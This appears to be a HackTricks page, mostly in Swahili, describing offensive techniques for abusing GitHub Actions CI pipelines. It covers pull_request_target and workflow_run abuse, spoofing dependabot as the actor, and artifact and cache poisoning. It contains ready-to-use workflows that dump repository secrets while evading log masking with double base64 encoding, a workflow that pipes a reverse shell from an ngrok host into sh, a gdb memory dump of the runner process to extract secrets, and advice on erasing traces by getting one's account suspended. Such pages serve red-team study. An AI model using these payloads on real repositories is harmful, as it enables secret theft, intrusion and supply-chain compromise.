Kunyanyasa Github Actions

Reading time: 21 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Zana

Zana zifuatazo zinafaa kutafuta Github Action workflows na hata kuzipata zile zilizo hatarishi:

Taarifa za Msingi

Katika ukurasa huu utapata:

  • Muhtasari wa athari zote za mshambulizi anayefanikiwa kupata ufikiaji wa Github Action
  • Njia tofauti za kupata ufikiaji wa action:
  • Kuwa na permissions za kuunda action
  • Kunyanyasa vichocheo vinavyohusiana na pull request
  • Kunyanyasa mbinu nyingine za ufikiaji wa nje
  • Pivoting kutoka repo tayari iliyovamiwa
  • Mwisho, sehemu kuhusu post-exploitation techniques za kunyanyasa action kutoka ndani (kusababisha athari zilizotajwa)

Muhtasari wa Athari

Kwa utangulizi kuhusu Github Actions angalia taarifa za msingi.

Ikiwa unaweza execute arbitrary code in GitHub Actions ndani ya repository, unaweza kuwa na uwezo wa:

  • Steal secrets zilizowekwa kwenye pipeline na kunyanyasa privileges za pipeline ili kupata ufikiaji usioidhinishwa kwenye platforms za nje, kama AWS na GCP.
  • Compromise deployments na artifacts nyingine.
  • Ikiwa pipeline inafanya deploy au kuhifadhi assets, unaweza kubadilisha bidhaa ya mwisho, kuziwezesha supply chain attack.
  • Execute code in custom workers ili kunyanyasa nguvu za computing na pivot kwenda mifumo mingine.
  • Overwrite repository code, kulingana na permissions zinazohusishwa na GITHUB_TOKEN.

GITHUB_TOKEN

Hii "secret" (inayotokana na ${{ secrets.GITHUB_TOKEN }} na ${{ github.token }}) inatolewa wakati admin anawasha chaguo hili:

Token hii ni ile ile ambayo Github Application itatumia, hivyo inaweza kufikia endpoints sawa: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

warning

Github inapaswa kutoa flow ambayo inaruhusu cross-repository access ndani ya GitHub, hivyo repo inaweza kufikia repos nyingine za ndani kwa kutumia GITHUB_TOKEN.

Unaweza kuona permissions zinazowezekana za token hii katika: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Kumbuka kwamba token inakoma kutumika baada ya job kumalizika.
Tokens hizi zinaonekana kama hizi: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Mambo kadhaa ya kuvutia unayoweza kufanya na token hii:

bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

caution

Kumbuka kwamba katika matukio kadhaa utaweza kupata github user tokens inside Github Actions envs or in the secrets. Tokens hizi zinaweza kukupa ruhusa zaidi juu ya repository na organization.

Orodhesha secrets katika Github Action output
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Pata reverse shell kwa kutumia secrets
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Inawezekana kuangalia ruhusa zilizotolewa kwa Github Token katika repositories za watumiaji wengine kwa checking the logs za actions:

Utekelezaji Ulioruhusiwa

note

Hii itakuwa njia rahisi zaidi ya kucompromise Github actions, kwani kesi hii inadhani kuwa una ufikiaji wa create a new repo in the organization, au una write privileges over a repository.

Ikiwa uko katika senario hii unaweza tu kuangalia Post Exploitation techniques.

Utekelezaji kutoka kwa Kuundwa kwa Repo

Ikiwa wanachama wa organization wanaweza create new repos na unaweza kuexecute github actions, unaweza create a new repo and steal the secrets set at organization level.

Utekelezaji kutoka kwa Tawi Jipya

Ikiwa unaweza create a new branch in a repository that already contains a Github Action configured, unaweza modify yake, upload content, na kisha execute that action from the new branch. Kwa njia hii unaweza exfiltrate repository and organization level secrets (lakini utahitaji kujua jinsi zinavyoitwa).

warning

Any restriction implemented only inside workflow YAML (for example, on: push: branches: [main], job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.

Unaweza kufanya action iliyorekebishwa iwe executable manually, wakati PR is created au wakati some code is pushed (kutegemea jinsi unavyotaka kuwa noisy):

yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Utekelezaji wa Fork

note

Kuna vichocheo tofauti ambavyo vinaweza kumruhusu mshambuliaji kutekeleza Github Action ya repository nyingine. Ikiwa actions hizo zinazoweza kuchochewa zimewekwa vibaya, mshambuliaji anaweza kuweza kuzivuruga.

pull_request

Vichocheo vya workflow pull_request vitaendesha workflow kila mara pull request inapopokelewa, kwa marekebisho machache: kwa chaguo-msingi ikiwa ni mara ya kwanza unapo shirikiana, baadhi ya maintainer watahitaji kuthibitisha utekelezaji wa workflow:

note

Kwa kuwa kizuizi cha chaguo-msingi ni kwa wachangiaji wa mara ya kwanza, unaweza kuchangia kwa kurekebisha bug/typo halali kisha utume PR nyingine ili kutumia vibaya ruhusa zako mpya za pull_request.

Nilijaribu hii na haifanyi kazi: Chaguo jingine ingekuwa kuunda akaunti yenye jina la mtu aliyechangia mradi na kufuta akaunti yake.

Zaidi ya hayo, kwa chaguo-msingi inazuia ruhusa za kuandika na upatikanaji wa secrets kwa repository lengwa kama ilivyoelezwa katika docs:

Bila kuzingatia GITHUB_TOKEN, secrets hazipitishiwi kwa runner wakati workflow inapotolewa kutoka kwa repository iliyofork. The GITHUB_TOKEN has read-only permissions in pull requests from forked repositories.

Mshambuliaji anaweza kubadilisha ufafanuzi wa Github Action ili kutekeleza vitu kwa hiari na kuongeza actions zozote. Hata hivyo, hatoweza kuiba secrets au kuandika juu ya repo kwa sababu ya vikwazo vilivyotajwa.

caution

Ndiyo, ikiwa mshambuliaji atabadilisha katika PR github action itakayochochewa, Github Action yake ndiyo itakayotumika na si ile ya repo ya asili!

Kwa kuwa mshambuliaji pia anasimamia code inayotekelezwa, hata kama hakuna secrets au ruhusa za kuandika kwenye GITHUB_TOKEN, mshambuliaji anaweza kwa mfano kupakia artifacts zenye madhara.

pull_request_target

Vichocheo vya workflow pull_request_target vina ruhusa za kuandika kwa repository lengwa na upatikanaji wa secrets (na havitauliza ruhusa).

Kumbuka kwamba vichocheo vya workflow pull_request_target vinaendesha katika base context na sio ile inayotolewa na PR (ili kutoendesha code isiyo ya kuaminika). Kwa habari zaidi kuhusu pull_request_target check the docs.
Zaidi ya hayo, kwa habari kuhusu matumizi haya hatari angalia github blog post.

Inaweza kuonekana kwamba kwa kuwa workflow inayotekelezwa ni ile iliyoelezwa katika base na sio katika PR ni salama kutumia pull_request_target, lakini kuna hali chache ambapo si salama.

Na hii itakuwa na upatikanaji wa secrets.

workflow_run

The workflow_run trigger inaruhusu kuendesha workflow kutoka kwa nyingine wakati iko completed, requested au in_progress.

Katika mfano huu, workflow imepangwa kuendesha baada ya workflow tofauti ya "Run Tests" kukamilika:

yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Zaidi ya hayo, kwa mujibu wa nyaraka: Workflow inayozinduliwa na tukio la workflow_run inaweza access secrets and write tokens, even if the previous workflow was not.

Aina hii ya workflow inaweza kushambuliwa ikiwa inategemea workflow ambayo inaweza kuzinduliwa na mtumiaji wa nje kupitia pull_request au pull_request_target. Mifano michache yenye udhaifu inaweza kupatikana kwenye found this blog. Kwanza inahusisha workflow iliyozinduliwa na workflow_run kupakua code ya mshambuliaji: ${{ github.event.pull_request.head.sha }}
Pili inahusisha passing artifact kutoka kwa code isiyoaminika (untrusted) kwenda kwa workflow ya workflow_run na kutumia yaliyomo ya artifact hiyo kwa njia inayofanya iwe vulnerable to RCE.

workflow_call

TODO

TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR

Abusing Forked Execution

Tumezitaja njia zote ambazo mshambuliaji wa nje anaweza kufanikisha kutiwa github workflow itekelezwe; sasa tuangalie jinsi utekelezaji huu, ukisawirishwa vibaya, unaweza kutumiwa vibaya:

Untrusted checkout execution

Katika kesi ya pull_request, workflow itatekelezwa katika context ya PR (kwa hivyo itatekeleza malicious PRs code), lakini mtu anatakiwa kuiruhusu kwanza na itaendeshwa kwa baadhi ya limitations.

Katika kesi ya workflow inayotumia pull_request_target au workflow_run ambayo inategemea workflow inayoweza kuzinduliwa kutoka pull_request_target au pull_request, code kutoka repo ya awali itatekelezwa, hivyo mshambuliaji hawezi kudhibiti code itakayotekelezwa.

caution

Hata hivyo, ikiwa action ina explicit PR checkout ambayo itapata code kutoka PR (na si kutoka base), itatumia code inayodhibitiwa na mshambuliaji. Kwa mfano (angalia line 12 ambapo code ya PR inapakuliwa):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Code inayoweza kuwa untrusted inatekelezwa wakati wa npm install au npm build kwani build scripts na referenced packages zinadhibitiwa na mwandishi wa PR.

warning

Github dork ya kutafuta actions zilizo vunjika ni: event.pull_request pull_request_target extension:yml hata hivyo, kuna njia mbalimbali za kusanidi jobs zitekelezwe kwa usalama hata kama action imewekwa bila usalama (kwa mfano kwa kutumia conditionals kuhusu ni nani actor anayeunda PR).

Context Script Injections

Kumbuka kwamba kuna baadhi ya github contexts ambazo thamani zao zinadhibitiwa na mtumiaji anayefungua PR. Ikiwa github action inatumia data hiyo to execute anything, inaweza kusababisha arbitrary code execution:

Gh Actions - Context Script Injections

GITHUB_ENV Script Injection

Kulingana na nyaraka: Unaweza kufanya environment variable ipatikane kwa hatua zozote zinazofuata katika job ya workflow kwa kutaja au kusasisha environment variable na kuandika hii kwa faili ya mazingira GITHUB_ENV.

Iki mshambuliaji anaweza inject any value ndani ya env variable hii, anaweza kuingiza env variables ambazo zinaweza kutekeleza code katika hatua zinazofuata kama LD_PRELOAD au NODE_OPTIONS.

Kwa mfano ( this na this ), fikiria workflow inayomwamini uploaded artifact kuhifadhi yaliyomo yake ndani ya GITHUB_ENV env variable. Mshambuliaji anaweza kupakia kitu kama hiki kuikosea:

Dependabot and other trusted bots

Kama ilivyoonyeshwa katika this blog post, mashirika kadhaa yana Github Action inayochanganya PR yoyote kutoka dependabot[bot] kama katika:

yaml
on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

Hilo ni shida kwa sababu shamba github.actor linaonyesha mtumiaji aliyesababisha tukio la mwisho lililochochea workflow. Na kuna njia kadhaa za kufanya mtumiaji dependabot[bot] abadilishe PR. Kwa mfano:

  • Fork repository ya mwathirika
  • Ongeza payload hasidi kwenye nakala yako
  • Wezesha Dependabot kwenye fork yako kwa kuongeza dependency ya zamani. Dependabot itaunda branch itakayorekebisha dependency hiyo kwa code hasidi.
  • Fungua Pull Request kwenye repository ya mwathirika kutoka kwa branch hiyo (PR itaundwa na mtumiaji kwa hivyo bado hakuna kitakachotokea)
  • Kisha, mshambuliaji anarudi kwenye PR ya awali ambayo Dependabot aliifungua kwenye fork yake na anaendesha @dependabot recreate
  • Kisha, Dependabot hufanya baadhi ya hatua kwenye branch hiyo, ambazo hubadilisha PR kwenye repo ya mwathirika, na kufanya dependabot[bot] kuwa actor wa tukio la mwisho lililochochea workflow (na kwa hivyo, workflow inaendeshwa).

Endelea, je, badala ya ku-merge, Github Action ingekuwa na command injection kama ifuatavyo:

yaml
on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

Well, the original blogpost proposes two options to abuse this behavior being the second one:

  • Fork repository ya mwathiriwa na enable Dependabot na some outdated dependency.
  • Tengeneza branch mpya yenye shell injection code ya hasidi.
  • Change the default branch ya repo kuwa hiyo.
  • Tengeneza PR kutoka branch hii kwenda repository ya mwathiriwa.
  • Run @dependabot merge katika PR ambayo Dependabot aliifungua katika fork yake.
  • Dependabot ata-merge mabadiliko yake katika default branch ya fork yako, ikisasisha PR katika repository ya mwathiriwa na kufanya sasa dependabot[bot] kuwa actor wa tukio la mwisho lililosababisha workflow huku ukitumia malicious branch name.

Vulnerable Third Party Github Actions

dawidd6/action-download-artifact

As mentioned in this blog post, this Github Action allows to access artifacts from different workflows and even repositories.

Tatizo ni kwamba ikiwa parameter ya path haijawekwa, artifact itaondolewa katika current directory na inaweza kuibadilisha juu faili ambazo zinaweza baadaye kutumika au hata kutekelezwa katika workflow. Kwa hivyo, ikiwa Artifact ni dhaifu, mshambulizi anaweza kutumia hili kuathiri workflows nyingine zinazomwamini Artifact.

Example of vulnerable workflow:

yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Hii inaweza kushambuliwa kwa workflow ifuatayo:

yaml
name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Ufikiaji wa Nje Mengine

Repo Hijacking ya Namespace Iliyofutwa

Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kusajili akaunti yenye jina hilo baada ya muda. Ikiwa repository ilikuwa na chini ya nyota 100 kabla ya mabadiliko ya jina, Github itamruhusu mtumiaji mpya aliyesajiliwa kwa jina hilo kuunda repository yenye jina sawa na ile iliyofutwa.

caution

Kwa hivyo ikiwa action inatumia repo kutoka kwa akaunti isiyopo, bado inawezekana kwamba attacker anaweza kuunda akaunti hiyo na kuathiri action.

Ikiwa repositories nyingine zilikuwa zinatumia dependencies kutoka kwa repos za mtumiaji huyu, attacker ataweza hijack hizo. Hapa kuna maelezo kamili zaidi: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Repo Pivoting

note

Katika sehemu hii tutaongea kuhusu techniques zinazoweza kuruhusu pivot kutoka repo moja hadi nyingine tukikisia kuwa tuna aina fulani ya access kwenye ya kwanza (angalia sehemu iliyopita).

Cache Poisoning

Cache huhifadhiwa kati ya workflow runs kwenye branch ileile. Hii inamaanisha kwamba ikiwa attacker ataweza compromise package ambayo itahifadhiwa kwenye cache na ikapakiwa (downloaded) na kutekelezwa na workflow yenye privileges zaidi, ataweza compromise workflow hiyo pia.

GH Actions - Cache Poisoning

Artifact Poisoning

Workflows zinaweza kutumia artifacts kutoka kwa workflows nyingine hata repos, ikiwa attacker atafanikiwa compromise Github Action ambayo uploads an artifact ambayo baadaye inatumiwa na workflow nyingine, anaweza compromise workflows nyingine:

Gh Actions - Artifact Poisoning

Post Exploitation from an Action

Github Action Policies Bypass

Kama ilivyoelezwa katika this blog post, hata kama repository au organization ina policy inayozuia matumizi ya actions fulani, attacker anaweza tu kupakua (git clone) action ndani ya workflow kisha kuitaja kama local action. Kwa kuwa policies hazihusiani na local paths, action itatekelezwa bila vizuizi vyovyote.

Mfano:

yaml
on: [push, pull_request]

jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout

- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat

- run: ls && pwd

- run: ls tmp/checkout

Kupata AWS, Azure na GCP kupitia OIDC

Check the following pages:

AWS - Federation Abuse

Az Federation Abuse

GCP - Federation Abuse

Kupata secrets

Ikiwa unapoingiza maudhui kwenye script, ni muhimu kujua jinsi unavyoweza kupata secrets:

  • Ikiwa secret au token imewekwa kama environment variable, inaweza kupatikana moja kwa moja kupitia environment ukitumia printenv.
List secrets in Github Action output
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Pata reverse shell na siri
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Ikiwa secret inatumiwa directly in an expression, script ya shell iliyotengenezwa inahifadhiwa on-disk na inaweza kupatikana.

cat /home/runner/work/_temp/*

- Kwa actions za JavaScript, secrets hutumwa kupitia environment variables
- ```bash
ps axe | grep node
  • Kwa custom action, hatari inaweza kutofautiana kulingana na jinsi programu inavyotumia secret iliyopatikana kutoka kwa argument:
yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
  • Orodhesha secrets zote kupitia secrets context (collaborator level). Mchangiaji mwenye write access anaweza kubadilisha workflow kwenye branch yoyote ili kudump secrets zote za repository/org/environment. Tumia double base64 kuepuka GitHub’s log masking na decode ndani ya mashine yako:
yaml
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0

Decode ndani ya mashine yako:

bash
echo "ZXdv...Zz09" | base64 -d | base64 -d

Tip: kwa kujificha wakati wa testing, enkripiti kabla ya kuchapisha (openssl imewekwa awali kwenye GitHub-hosted runners).

Kutumia vibaya Self-hosted runners

Njia ya kugundua ni zipi Github Actions are being executed in non-github infrastructure ni kutafuta runs-on: self-hosted katika Github Action configuration yaml.

Self-hosted runners zinaweza kuwa na ufikiaji wa extra sensitive information, kwa network systems nyingine (vulnerable endpoints katika network? metadata service?) au, hata kama zimepewa isolation na kuharibiwa, more than one action might be run at the same time na ile yenye nia mbaya inaweza steal the secrets za nyingine.

Katika self-hosted runners pia inawezekana kupata the secrets from the _Runner.Listener_** process** ambayo itakuwa na secrets zote za workflows katika hatua yoyote kwa kudump memory yake:

bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Check this post for more information.

Rejistri ya Docker Images ya Github

Inawezekana kuunda Github Actions ambazo zita jenga na kuhifadhi Docker image ndani ya Github.
Mfano unaweza kupatikana katika sehemu inayoweza kupanuliwa ifuatayo:

Github Action Build & Push Docker Image
yaml
[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

Kama ulivyoweza kuona katika msimbo uliotangulia, Github registry imehifadhiwa kwenye ghcr.io.

Mtumiaji mwenye ruhusa za kusoma kwenye repo ataweza kupakua Docker Image kwa kutumia token ya ufikiaji wa kibinafsi:

bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Kisha, mtumiaji anaweza kutafuta leaked secrets in the Docker image layers:

Docker Forensics - HackTricks

Taarifa nyeti katika Github Actions logs

Hata kama Github inajaribu kutambua secret values katika actions logs na kuepuka kuonyesha thamani hizo, data nyingine nyeti ambazo zinaweza kuwa zimetengenezwa wakati wa utekelezaji wa action hazitafichwi. Kwa mfano JWT iliyosainiwa kwa secret value haitafichwi isipokuwa ikiwa imewekwa mahsusi.

Kuficha alama zako

(Technique from here) Kwanza kabisa, PR yoyote iliyopandishwa inaonekana waziwazi kwa umma kwenye Github na kwa akaunti lengwa ya GitHub. Kwenye GitHub kwa chaguo-msingi, hatuwezi kufuta PR ya internet, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zimesimamishwa na Github, PR zao zote zinafutwa moja kwa moja na zinaondolewa kutoka kwenye internet. Hivyo ili kuficha shughuli zako unahitaji ama kuifanya akaunti yako ya GitHub isimamishwe au akaunti yako iwekwe alama. Hii itaficha shughuli zako zote kwenye GitHub kutoka kwenye internet (kimsingi kuondoa all your exploit PR)

Shirika kwenye GitHub ni makini sana kuripoti akaunti kwenye GitHub. Unachohitaji kufanya ni kushirikisha “some stuff” katika Issue na watahakikisha akaunti yako imesimamishwa ndani ya saa 12 :p na hapo unae, umefanya exploit yako isionekane kwenye github.

warning

Njia pekee kwa shirika kugundua walilengwa ni kupitia kuchunguza GitHub logs kutoka SIEM kwani kupitia GitHub UI PR itafutwa.

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks